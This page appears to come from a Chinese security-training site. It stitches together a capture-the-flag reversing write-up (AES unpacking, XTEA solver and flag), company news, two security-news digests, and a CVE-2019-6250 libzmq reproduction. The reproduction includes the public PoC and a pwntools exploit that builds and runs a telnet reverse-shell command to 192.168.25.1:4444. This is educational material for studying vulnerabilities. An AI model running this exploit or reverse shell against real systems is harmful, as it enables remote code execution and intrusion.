j___CheckForDebuggerJustMyCode(&unk_1400A80B9, a2, a3);
v11 = a4 % 0x10 != 0;
v10 = 16 * (v11 + a4 / 0x10);
v6 = v10 + 1;
if ( v10 == -1 )
v6 = -1i64;
*a3 = j_j_j__malloc_base(v6);
sub_140003175(*a3, 0i64, v10 + 1);
sub_140003175(v9, 0i64, 16i64);
if ( j_strlen(a2) <= 0x10 )
Size = j_strlen(a2);
else
Size = 16i64;
j_memmove(v9, a2, Size);
for ( j = 0; 16 * j < a4; ++j )
sub_140002DE7(16 * j + a1, v9, (char *)*a3 + 16 * j, 16i64);// AES解密函数 我思考了一下,如果shell进行加密,那么shell还能运行吗?反之,只有解密,才可以正常运行
return v10;
}
根进观察一下
__int64 __fastcall sub_140007620(const void *a1, __int64 a2, void *a3, unsigned int a4)
{
j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);
j_memmove(a3, a1, a4);
qword_14009D180 = (__int64)a3;
qword_14009D188 = a2;
sub_140008EA0();
return sub_1400078E0();
}
发现了一堆函数,一个一个看看
最后发现sub_1400078E0函数的代码,长得特别像AES加密函数。
从 confuse_us 那题就可以发现,这些代码长得很像.就是AES加密套路
__int64 __fastcall sub_1400078E0(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rcx
unsigned __int8 i; // [rsp+24h] [rbp+4h]
j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);
LOBYTE(v3) = 10;
sub_140007760(v3);
for ( i = 9; i; --i )
{
sub_140008980();
sub_140008DF0();
sub_140007760(i);
sub_140007970();
}
sub_140008980();
sub_140008DF0();
return sub_140007760(0i64);
}
跟进sub_140007760 函数,发现就是addroundkey()
__int64 __fastcall sub_140007760(unsigned __int8 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned __int8 i; // [rsp+24h] [rbp+4h]
unsigned __int8 j; // [rsp+44h] [rbp+24h]
j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= 4u ) //这不就是 addroundkey() 函数吗?
break;
for ( j = 0; j < 4u; ++j )
*(_BYTE *)(qword_14009D180 + 4i64 * i + j) ^= byte_14009D190[16 * a1 + 4 * i + j]; //对比confuse_us那题,发现没有魔改 ^0x23
}
return result;
}
其余函数也就不用再分析了,可以断定这是AES加密函数。
对shell资源进行AES解密,然后shell程序跑起来
运行该程序,发现我追踪的进程居然挂掉了,又跑起来了另一个进程
可以断定,父进程开子进程
子进程输入flag
我再次运行,发现jiji.exe没了???
传递的参数
FileName
VNctf2023
C:\Users\Le\Desktop\jijiji.exe
16000
s0rryla
附加下子进程
搜索字符串,但是无法找到关键函数
直接dump解密后的exe文件
断点下在此处,然后运行,找到解密后的文件,dump下来
D键转地址
跳转到MZ头部,发现这就是解密后的程序
把它dump下来
def main():
begin = 0x23F8CB49290 # #需对应修改
size = 0x16000 # #需对应修改
list1 = []
for i in range(size):
byte_tmp = get_bytes(begin + i,1)
list1.append(ord(byte_tmp))
if (i + 1) % 0x1000 == 0:
print("All count:{}, collect current:{}, has finish {}".format(hex(size), hex(i + 1), float(i + 1) / size))
print('collect over')
file = "C:\\Users\\Le\\Desktop\\WASS.exe" #需对应修改
#print(bytearray(list1))
buf = bytearray(list1)
with open(file, 'wb') as fw:
fw.write(buf)
print('write over')
if __name__=='__main__':
main()
得到dump下来的程序
分析dump下来的程序
根据关键字符串定位关键函数
__int64 __fastcall sub_1400064F0(__int64 a1, __int64 a2)
{
char *v2; // rdi
__int64 i; // rcx
const char *v4; // rax
DWORD LastError; // eax
char v7[32]; // [rsp+0h] [rbp-20h] BYREF
char v8; // [rsp+20h] [rbp+0h] BYREF
HANDLE hSnapshot; // [rsp+28h] [rbp+8h]
PROCESSENTRY32 pe; // [rsp+50h] [rbp+30h] BYREF
BOOL v11; // [rsp+194h] [rbp+174h]
unsigned int v12; // [rsp+1B4h] [rbp+194h]
DWORD CurrentProcessId; // [rsp+1D4h] [rbp+1B4h]
DWORD th32ProcessID; // [rsp+1F4h] [rbp+1D4h]
char v15[536]; // [rsp+220h] [rbp+200h] BYREF
char v16[64]; // [rsp+438h] [rbp+418h] BYREF
LPVOID lpAddress; // [rsp+478h] [rbp+458h]
DWORD flOldProtect[9]; // [rsp+494h] [rbp+474h] BYREF
LPCSTR lpFileName; // [rsp+4B8h] [rbp+498h]
char v20[64]; // [rsp+718h] [rbp+6F8h] BYREF
char v21[64]; // [rsp+758h] [rbp+738h] BYREF
char v22[48]; // [rsp+798h] [rbp+778h] BYREF
__int64 v23; // [rsp+7C8h] [rbp+7A8h]
__int64 v24; // [rsp+7D0h] [rbp+7B0h]
__int64 v25; // [rsp+7D8h] [rbp+7B8h]
__int64 v26; // [rsp+7E0h] [rbp+7C0h]
__int64 v27; // [rsp+7E8h] [rbp+7C8h]
__int64 v28; // [rsp+7F0h] [rbp+7D0h]
v2 = &v8;
for ( i = 362i64; i; --i )
{
*(_DWORD *)v2 = -858993460;
v2 += 4;
}
sub_14000148D(&unk_1400180F5);
hSnapshot = CreateToolhelp32Snapshot(2u, 0);
v11 = Process32First(hSnapshot, &pe);
v12 = -1;
CurrentProcessId = GetCurrentProcessId();
while ( v11 )
{
if ( CurrentProcessId == pe.th32ProcessID )
{
th32ProcessID = pe.th32ProcessID;
v12 = sub_140001267(pe.th32ProcessID);
}
v11 = Process32Next(hSnapshot, &pe);
}
if ( v12 != -1 )
{
sub_140001479(v12, v15, 10i64);
v23 = sub_140001217(v20, " > nul");
v24 = v23;
v25 = sub_140001217(v21, "taskkill -f /pid ");
v26 = v25;
v27 = sub_14000143D(v22, v25, v15);
v28 = v27;
sub_140001069(v16, v27, v24);
sub_1400010F0(v22);
sub_1400010F0(v21);
sub_1400010F0(v20);
v4 = (const char *)sub_14000106E(v16);
system(v4);
sub_1400010F0(v16);
}
lpAddress = (LPVOID)sub_140001357(sub_1400010C3);
VirtualProtect(lpAddress, 0x400ui64, 0x40u, flOldProtect);
lpFileName = *(LPCSTR *)(a2 + 8);
qword_140014470 = *(_QWORD *)(a2 + 16);
if ( !DeleteFileA(lpFileName) )
{
LastError = GetLastError();
sub_14000123A("%d", LastError);
}
sub_1400010FF(sub_1400010C3, qword_140014470);
sub_1400010C3();
sub_1400013C5(v7, &unk_1400101C8);
return 0i64;
}
动调调试走到flag验证的地方
动态调试跟进去
成功到达关键的地方,如果不是这么清晰的话,需要U+C键来调
__int64 sub_140005B40()
{
char *v0; // rdi
__int64 i; // rcx
char v3[32]; // [rsp+0h] [rbp-20h] BYREF
char v4; // [rsp+20h] [rbp+0h] BYREF
char v5[60]; // [rsp+28h] [rbp+8h] BYREF
int v6; // [rsp+64h] [rbp+44h]
int v7[11]; // [rsp+88h] [rbp+68h]
int j; // [rsp+B4h] [rbp+94h]
int k; // [rsp+D4h] [rbp+B4h]
int *v10; // [rsp+F8h] [rbp+D8h]
unsigned int v11; // [rsp+114h] [rbp+F4h]
unsigned int v12; // [rsp+134h] [rbp+114h]
unsigned int v13; // [rsp+154h] [rbp+134h]
int v14; // [rsp+174h] [rbp+154h]
int m; // [rsp+194h] [rbp+174h]
int n; // [rsp+1B4h] [rbp+194h]
v0 = &v4;
for ( i = 110i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_14000148D(&unk_1400180F5);
memset(v5, 0, 0x21ui64);
v6 = 0;
v7[0] = 98;
v7[1] = 111;
v7[2] = 109;
v7[3] = 98;
sub_14000123A("your flag:");
sub_1400010BE("%s", v5);
for ( j = 0; v5[j]; ++j )
;
if ( j != 32 )
sub_14000123A("bad, ji~ji~ji\n");
for ( k = 0; k < 4; ++k )
{
v10 = (int *)&v5[8 * k];
v11 = *v10;
v12 = v10[1];
v13 = 0;
v14 = -2009038745;
for ( m = 0; m < 33; ++m )
{
v11 += v13 ^ (v7[v13 & 3] + v13) ^ (v12 + ((v12 >> 5) ^ (16 * v12)));
v12 += (v7[(v13 >> 11) & 3] + v13) ^ (v11 + ((v11 >> 5) ^ (16 * v11)));
v13 += v14;
}
*v10 = v11;
v10[1] = v12;
}
for ( n = 0; n < 32; ++n )
{
if ( v5[n] != byte_140014000[n] )
{
v6 = 1;
break;
}
}
if ( v6 == 1 )
{
sub_14000123A("bad, ji~ji~ji\n");
}
else if ( !v6 )
{
sub_14000123A("yesssss \n");
}
return sub_1400013C5(v3, &unk_140010160);
}
XTEA加密
#include <stdio.h>
#include <stdlib.h>
void decrypt(unsigned int* v, unsigned int* key,unsigned int round) {
unsigned int l = v[0], r = v[1], sum = 0, delta = 0x88408067;
sum = delta * round;
for (size_t i = 0; i < round; i++) {
sum -= delta;
r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3])^sum;
}
v[0] = l;
v[1] = r;
}
int main()
{
unsigned int v[11] = { 0xADD4F778, 0xA6D7F132, 0x61813290, 0x2D4A40A6, 0x00B05F11, 0xB6D59424, 0x231BBFC6, 0xCD405B31,
0x03020100, 0x00C30504};
unsigned int key[4] = {98,111,109,98};
for(int i=0;i<4;i++){
decrypt(v+i*2,key,33);
}
for(int i=0;i<8;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
}
return 0;
}
//2d326e43eb8fea8837737fc0f50f83f2
flag{2d326e43eb8fea8837737fc0f50f83f2}
蚁景科技获授湖南应用技术学院“就业实习实训基地”
2023年12月6日湖南应用技术学院的彭进香副校长、信息工程学院的李皓党总支副书记、周云才常务副院长、宋茸院长助理及刘传松网安竞赛负责人等一行来访湖南蚁景科技有限公司,双方就进一步加强校企合作展开了深入的沟通和探讨。
交流会上,我司向学院领导展示了自2020年以来为各合作高校提供的教学支撑内容,包括课程设计、教材开发、实习实训等方面的支持,充分展示了我司在网络安全人才培养上的实力和成果。同时,也分享了与高校合作的实习实训案例,以及紧贴国家对于网络安全人才的政策,结合市场需求和行业发展,协助高校进行相关的教学改革和课程设计的落地方案。
湖南应用技术学院一直以来都非常重视与企业的合作,希望通过与企业的交流,更好地了解行业发展的前沿动态,更准确地把握市场需求和人才培养的方向。会议最后,校方与我司在就业实习实训、人才培养等方面达成了合作意向,签署了“校企合作实习实训”协议,授予我司“湖南应用技术学院就业实习实训基地”称号,并现场颁发牌匾。
此次交流会不仅深化了湖南蚁景科技有限公司与湖南应用技术学院的合作关系,也为双方未来的共同发展奠定了坚实的基础。
湖南蚁景科技有限公司表示将全力支持湖南应用技术学院的发展,积极拓展合作领域。在当前网络安全形势日益严峻的背景下,高校和企业应进一步加强合作,共同承担起为国家培养网络安全人才的重任。
网络安全日报 2023年12月08日
1、微软披露APT28组织利用Outlook漏洞发起攻击
https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/ 微软周一表示,它检测到俄罗斯背景的APT28组织利用其Outlook电子邮件服务中现已修补的关键安全漏洞,对Exchange服务器内的受害者帐户进行未经授权的访问。所涉及的安全漏洞是CVE-2023-23397(CVSS评分:9.8),这是一个严重的权限提升错误,可能允许攻击者访问用户的Net-NTLMv2哈希,然后利用该哈希对其他服务进行中继攻击以用户身份进行身份验
2、研究人员披露针对iPhone用户的伪造锁定模式
https://www.jamf.com/blog/fake-lockdown-mode/ 攻击者可能会滥用一种新的“后利用篡改技术”,从视觉上欺骗目标,让其相信他们的苹果iPhone正在运行在锁定模式下,而事实上攻击者进行秘密攻击。目标是在攻击者通过其他方式(例如可能触发任意代码执行的未修补的安全缺陷)受到损害的设备上实施假锁定模式。苹果去年在iOS 16中推出的锁定模式是一项增强的安全措施,旨在通过最大限度地减少攻击面来保护高风险个人免受雇佣间谍软件等复杂的数字威胁。对于受感染的手机,无论用户是否激活锁定模式,都没有适当的保护措施来阻止恶意软件在后台运行。
3、攻击者暴力破解MSSQL后部署BlueSky勒索软件
https://thedfirreport.com/2023/12/04/sql-brute-force-leads-to-bluesky-ransomware/ 2022年12月,研究人员观察到面向公众的MSSQL Server遭到入侵,导致受害者遭遇BlueSky勒索软件攻击。BlueSky勒索软件于2022年6月首次发现,具有Conti和Babuk勒索软件的代码链接。攻击者通过MSSQL暴力攻击获得了访问权限。然后,攻击者利用Cobalt Strike和Tor2Mine执行攻击后活动。攻击者访问网络后一小时内,在整个网络中部署了BlueSky勒索软件。
4、研究人员披露Sierra:21漏洞影响关键基础设施路由器
https://www.forescout.com/research-labs/sierra21/ 一组新发现的21个漏洞影响Sierra OT/IoT路由器,并通过远程代码执行、未经授权的访问、跨站点脚本、身份验证绕过和拒绝服务攻击威胁关键基础设施。研究人员发现的缺陷影响Sierra Wireless AirLink蜂窝路由器以及TinyXML和OpenNDS(开放网络划分服务)等开源组件。研究人员在Sierra AirLink蜂窝路由器以及TinyXML和OpenNDS组件中发现了21个新漏洞,这些组件也是其他产品的一部分。只有一个安全问题被评为严重,其中八个获得了高严重性评分,还有十几
5、研究人员发现英特尔、AMD 和 Arm CPU 容易受到新的“SLAM”攻击
https://www.securityweek.com/future-intel-amd-and-arm-cpus-vulnerable-to-new-slam-attack-researchers/ 学术研究人员披露了针对现代 CPU 的新型攻击的详细信息,特别是英特尔、AMD 和 Arm 的未来产品。 该攻击被命名为 SLAM,代表“基于线性地址掩码的幽灵”,由荷兰阿姆斯特丹自由大学系统和网络安全小组 VUSec 的研究人员发现。
6、五眼联盟政府机构发布消除内存安全漏洞指南
https://www.securityweek.com/five-eyes-agencies-publish-guidance-on-eliminating-memory-safety-bugs/ 美国、英国、加拿大、澳大利亚和新西兰的政府机构已发布指导软件制造商消除内存安全漏洞。该文档名为“内存安全路线图案例” ,建议采用内存安全编程语言 (MSL),这将有助于消除威胁行为者在恶意攻击中经常利用的众所周知的常见编码错误。
7、新的 KRASUE LINUX RAT 针对泰国电信公司
https://securityaffairs.com/155361/malware/krasue-rootkit-targets-thailand.html Group-IB 研究人员发现,之前未被检测到的名为 Krasue 的 Linux 远程访问木马已被用于针对泰国电信公司的攻击。
8、研究人员发现新型攻击方式,可通过图像和音频操纵大模型
https://www.darkreading.com/vulnerabilities-threats/llms-open-manipulation-using-doctored-images-audio 随着大语言模型(LLM)开始整合多模态功能,攻击者可能会在图像和音频中隐藏恶意指令,利用这些指令操纵AI聊天机器人(例如ChatGPT)背后的 LLM 对用户提示的响应。在 2023 年欧洲黑帽大会上表示,研究人员指出,这样的攻击方式将很快称为现实。
9、Windows 10 将向个人用户提供额外的三年付费支持
https://www.solidot.org/story?sid=76810 Windows 10 将于 2025 年 10 月 14 日终止支持,此后微软将停止提供安全更新。Windows 10 仍然是目前最流行的操作系统,微软也为那些想要继续使用该操作系统的用户提供了额外三年的付费安全更新支持 Extended Security Updates(ESU)。
10、AI 平台 Hugging Face 现 API 令牌漏洞
https://www.ithome.com/0/737/128.htm 安全公司 Lasso Security 日前发现 AI 模型平台 Hugging Face 上存在 API 令牌漏洞,黑客可获取微软、谷歌、Meta 等公司的令牌,并能够访问模型库,污染训练数据或窃取、修改 AI 模型。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年12月07日
1、研究人员披露Teal Kurma组织SnappyTCP恶意软件
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html 研究人员披露来自土耳其相关联的攻击者,即Teal Kurma(又名Sea Turtle、Marbled Dust、Cosmic Wolf)。Teal Kurma组织主要攻击目标为整个欧洲和中东地区。2021年至2023年间,攻击者者使用了SnappyTCP,这是一种适用于Linux/Unix的简单反向TCP shell,具有基本的C2功能,也用于在系统上建立持久性。该恶意软件至少有两个主要变体
2、研究人员披露针对WordPress用户的网络钓鱼活动
https://www.wordfence.com/blog/2023/12/psa-fake-cve-2023-45124-phishing-scam-tricks-users-into-installing-backdoor-plugin/ 研究人员最近获悉针对WordPress用户的网络钓鱼活动。该网络钓鱼电子邮件声称来自WordPress团队,并警告用户网站上存在标识符为CVE-2023-45124的远程代码执行漏洞,该漏洞目前不是有效的CVE。该电子邮件提示受害者下载“补丁”插件并安装。下载插件链接将受害者重定向到虚假登陆页面en-gb-wordpress[.]org。针对Word
3、芯片制造商高通发布芯片漏洞的详细信息
https://docs.qualcomm.com/product/publicresources/securitybulletin/december-2023-bulletin.html 芯片制造商高通公司发布了有关三个高严重性安全漏洞的更多信息,称这些漏洞早在2023年10月就受到了有针对性的利用。漏洞分别为:CVE-2023-33063(CVSS评分:7.8),从HLOS到DSP的远程调用期间DSP服务中的内存损坏。CVE-2023-33106(CVSS分数:8.4),在向 IOCTL_KGSL_GPU_AUX_COMMAND提交AUX命令中的大量同步点列表时,图形内存损坏。CVE-2
4、近期针对Cisco IOS XE 漏洞的利用激增
https://www.securityweek.com/exploitation-of-recent-cisco-ios-xe-vulnerabilities-spikes/ 非营利网络安全组织 Shadowserver Foundation 发现,通过最近修补的 Cisco IOS XE 漏洞遭到黑客攻击的设备数量激增。这些漏洞被追踪为 CVE-2023-20198(CVSS 得分为 10)和 CVE-2023-20273(CVSS 得分为 7.2),并于 10 月份进行了修补,当时思科警告称,这些漏洞已被作为零日 漏洞利用。
5、谷歌在稳定版频道发布了Chrome 120 ,修补了 10 个漏洞
https://www.securityweek.com/chrome-120-patches-10-vulnerabilities/ 谷歌周二宣布向稳定渠道发布 Chrome 120,并修复了 10 个漏洞。根据Google 的公告,在已解决的问题中,有 5 个是由外部研究人员报告的,他们获得了总计 15,000 美元的错误赏金奖励。根据所发放的奖励,最严重的缺陷是 CVE-2023-6508,这是 Media Stream 中的一个高严重性的释放后使用问题。
6、CISA 敦促联邦机构修补被利用的高通漏洞
https://www.securityweek.com/cisa-urges-federal-agencies-to-patch-exploited-qualcomm-vulnerabilities/ 美国网络安全机构 CISA 周二在其已知利用漏洞 (KEV) 目录中添加了影响多个高通芯片组的四个漏洞。其中三个缺陷(编号为 CVE-2023-33106、CVE-2023-33107 和 CVE-2023-33063)于2023 年 10 月作为零日漏洞进行了修补。所有三个漏洞都被描述为内存损坏错误。这些类型的缺陷会导致崩溃或意外行为,并可能允许攻击者未经授权访问系统,甚至执行任意代码。第
7、ATLASSIAN 解决了其产品中的四个新的RCE 漏洞
https://securityaffairs.com/155351/security/atlassian-addressed-four-rce.html Atlassian 发布了安全补丁,以解决其产品中的四个关键远程代码执行漏洞。
8、Sierra:21:Sierra 无线路由器的21个漏洞使关键部门易遭受网络攻击
https://thehackernews.com/2023/12/sierra21-flaws-in-sierra-wireless.html Sierra Wireless AirLink 蜂窝路由器以及TinyXML和OpenNDS等开源软件组件中发现了 21 个安全漏洞。据 Forescout Vedere Labs 称,这些问题统称为Sierra:21,使能源、医疗保健、废物管理、零售、紧急服务和车辆跟踪等关键领域的 86,000 多台设备面临网络威胁。这些设备大部分位于美国、加拿大、澳大利亚、法国和泰国。
9、黑客利用 ColdFusion 漏洞入侵美国联邦机构服务器
https://thehackernews.com/2023/12/hackers-exploited-coldfusion.html 美国网络安全和基础设施安全局 (CISA) 警告称,身份不明的威胁参与者正在积极利用高严重性的 Adobe ColdFusion 漏洞(CVE-2023-26360) 来获取对政府服务器的初始访问权限。
10、Kali Linux 2023.4 发布,附带 GNOME 45 和 15 个新工具
https://www.kali.org/blog/kali-linux-2023-4-release/ Kali Linux 2023.4 是面向道德黑客和网络安全专业人员的 Linux 发行版,现已发布。它包括 15 个新工具和 GNOME 45 桌面环境。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
CVE初探之漏洞反弹Shell(CVE-2019-6250)
概述
ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。
该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。
这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。
环境搭建
复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。
下面是针对该漏洞的环境搭建步骤
下载目标版本并安装
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install
下载cppzmq
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install
测试
cd demo
编辑main.cpp,添加printf("hello worldn");
mkdir build
cd build
cmake ..
make
./demo
demo可以正常执行即可
在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现
漏洞复现
先看看已有的poc
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t
arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct
sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in
zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,
(uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}
复制到demo重新编译
执行./demo
复现成功
POC分析
poc主要包括下面四部分
greeting
v2msg
plsize
content_t_replacement
v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}
plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。
ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf
反弹Shell
由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。
通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。
那么我的目标是反弹shell,也就是执行
system("mknod backpipe1 p && telnet
192.168.25.1 4444 0<backpipe1 | /bin/bash
1>backpipe1;")
,当然这只是其中一种方式。
那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。
exp如下
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2023/06/24 08:59:34
@Author : 5ma11wh1t3
@Contact : 197489628@qq.com
'''
import ctypes
from pwn import *
import base64
context.log_level=True
context.arch='amd64'
elf_path = './build/demo'
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
inter = lambda : p.interactive()
def debug():
gdb.attach(p, 'directory
/home/guo/Desktop/cve/cve-2019-6250/libzmq/src')
pause()
def lg(s,addr = None):
if addr:
print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))
else:
print('033[1;32;40m[-] %-20s 033[0m'%(s))
if __name__ == '__main__':
re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1
| /bin/bash 1>backpipe1;"
with open(elf_path,'rb') as f:
binary = f.read()
ads = []
for char in re_shell:
char_address = 0x400000 + binary.index(char)
ads.append(char_address)
for i in range(len(ads)):
p = remote('127.0.0.1',6666)
p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
p1 += b'x02' + b'xff'*8
p1 += b'a'*8183
p1 += p64(0x4050F8+i) # void* data rdi
p1 += p64(0) # size_t size
p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func
p1 += p64(ads[i]) # void* hint rsi
sn(p1)
p.close()
p = remote('127.0.0.1',6666)
p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
p1 += b'x02' + b'xff'*8
p1 += b'a'*8183
p1 += p64(0x4050F8) # void* data rdi
p1 += p64(0) # size_t size
p1 += p64(elf.plt['system']) # msg_free_fn *ffn func
p1 += p64(ads[i]) # void* hint rsi
# raw_input()
sn(p1)
p.close()
演示
攻击准备
本地起监听
server
攻击实施
获得shell
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

